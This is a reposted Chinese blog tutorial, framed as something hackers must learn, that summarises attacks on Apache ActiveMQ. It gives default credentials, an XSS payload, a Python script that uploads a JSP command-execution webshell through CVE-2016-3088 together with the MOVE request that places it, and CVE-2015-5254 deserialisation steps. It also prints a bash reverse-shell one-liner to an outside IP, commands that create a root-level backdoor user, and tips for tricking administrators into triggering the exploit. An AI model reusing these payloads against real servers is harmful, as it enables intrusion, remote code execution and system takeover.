黑客必学|ActiveMQ漏洞总结[通俗易懂]

黑客必学|ActiveMQ漏洞总结[通俗易懂]目录ActiveMQ攻击方式寻找目标弱口令未授权访问源代码泄露XSS漏洞远程代码执行漏洞反序列化漏洞ActiveMQApache ActiveM

大家好,欢迎来到IT知识分享网。

目录

ActiveMQ

攻击方式

寻找目标

弱口令

未授权访问

源代码泄露

XSS漏洞

远程代码执行漏洞

反序列化漏洞


ActiveMQ

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。随着中间件的启动,会打开两个端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。

Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

攻击方式

下面总结一下针对ActiveMQ消息中间件的攻击方式,总结来源于wooyun、vulhub、exploit-db。

寻找目标

1、由于这个中间件会开放8363端口和61616端口,因此可以通过扫描端口,发现存在该服务的服务器,从而进行攻击。

2、由于ActiveMQ 5.0 及以后版本默认集成了jetty,因此也可以通过headers头信息中查看服务器信息判断,但这个不足以确定服务器安装了ActiveMQ。

弱口令

admin/admin

IT知识分享网

未授权访问

IT知识分享网/admin/connections.jsp

源代码泄露

http://www.example.com:8161//admin/index.jsphttp://www.example.com:8161//admin/queues.jsphttp://www.example.com:8161//admin/topics.jsp

XSS漏洞

看这个POC应该是需要进入后台才可以利用的。

IT知识分享网/admin/queueBrowse/example.A?view=rss&feedType=<script>alert("ACTIVEMQ")</script>

远程代码执行漏洞

CVE-2016-3088

ActiveMQ 的 web 控制台分三个应用 ,admin,api 和 fileserver,其中 admin 是管 面 api 是 接 口,fileserver 是 储 存 文 件 的接 口;admin 和 api 都需要登录后才能使用,fileserver 无需登录。fileserver 是一个 RESTful API 接口,我们可以通过GET、PUT、DELETE等 HTTP 请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷。在5.12.x~5.13.x版本中,已经默认关闭了 fileserver 这个应用(你可以conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了 fileserver 应用。

漏洞原理:ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,构造PUT请求上传 webshell 到 fileserver 目录,然后通过 Move 方法将其移动到有执行权限的 admin/ 目录。

漏洞影响:Apache ActiveMQ 5.x ~ 5.14.0

漏洞利用流程

1、PUT上传

2、获取绝对路径

3、移动文件到admin目录或者api目录下,登录访问webshell

PUT上次Webshell代码

黑客必学|ActiveMQ漏洞总结[通俗易懂]

测试PUT老是失败,因此写了个python脚本,免得改请求包。


import requestsurl = "http://192.168.0.11:8161/fileserver/shell2.txt"headers = {    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36',    'Cookie':'JSESSIONID=1gfll70wf7hfnbsmipaa6es3b'    }payload = '''<%@ page import="java.io.*" %><%  out.print("Hello</br>")  String strcmd = request.getParameter("cmd");  String line = null;
  Process p = Runtime.getRuntime().exec(strcmd);  BufferedReader br =new BufferedReader(new InputStreamReader(p.getInputStream()));
  while((line = br.readLine()) != null) {    out.print(line+"</br>");      }%>'''response = requests.put(url,headers=headers,data=payload)

status = response.status_codeif status == "204":    print "PUT success!"else:    print "False,please again!"

获取绝对路径

靶场给的页面,实际环境中应该是不存在的。

黑客必学|ActiveMQ漏洞总结[通俗易懂]

实际环境中可以通过下面的方法爆路径:

黑客必学|ActiveMQ漏洞总结[通俗易懂]

移动文件到admin目录或者api目录下,登录访问webshell


MOVE /fileserver/shell.txt HTTP/1.1Destination: file:///opt/activemq/webapps/api/shell.jspHost: 192.168.0.11:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 0

我移动文件不知道为什么老是状态码500错误。

局限性

webshell需要管理员账号密码,但理论上我们可以覆盖jetty.xml,将admin和api的登录限制去掉,然后再写入webshell。

反序列化漏洞

CVE-2015-5254

漏洞原理:Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

工具:https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

漏洞利用流程

1. 构造(可以使用ysoserial)可执行命令的序列化对象

2. 作为一个消息,发送给目标61616端口

3. 访问web管理页面,读取消息,触发漏洞

下图是构造可执行命令的序列化对象,并发送给目标61616端口:

黑客必学|ActiveMQ漏洞总结[通俗易懂]

访问web管理页面,点击消息:

http://192.168.0.11:8161/admin/browse.jsp?JMSDestination=event
黑客必学|ActiveMQ漏洞总结[通俗易懂]

成功执行命令,如下图所示,多了success目录:

黑客必学|ActiveMQ漏洞总结[通俗易懂]

不仅如此我们还可以修改命令,反弹shell

bash -i >& /dev/tcp/192.168.31.41/8080 0>&1 

测试时,反弹shell失败了,原因不明。

还可以修改命令,增加用户并提权

useradd -g root -s /bin/bash -u 10010 test //添加test用户并将其添加到root组sed -i "s/test:x:10010/test:x:0/g" /etc/passwd  //将passwd中的test的uid修改为0echo "test:sd123456" | chpasswd  //为test用户设置一个密码
黑客必学|ActiveMQ漏洞总结[通俗易懂]

黑客必学|ActiveMQ漏洞总结[通俗易懂]

局限性

通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。 在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发, 或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://yundeesoft.com/7083.html

(0)
上一篇 2023-01-03 09:53
下一篇 2023-01-03 09:53

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

关注微信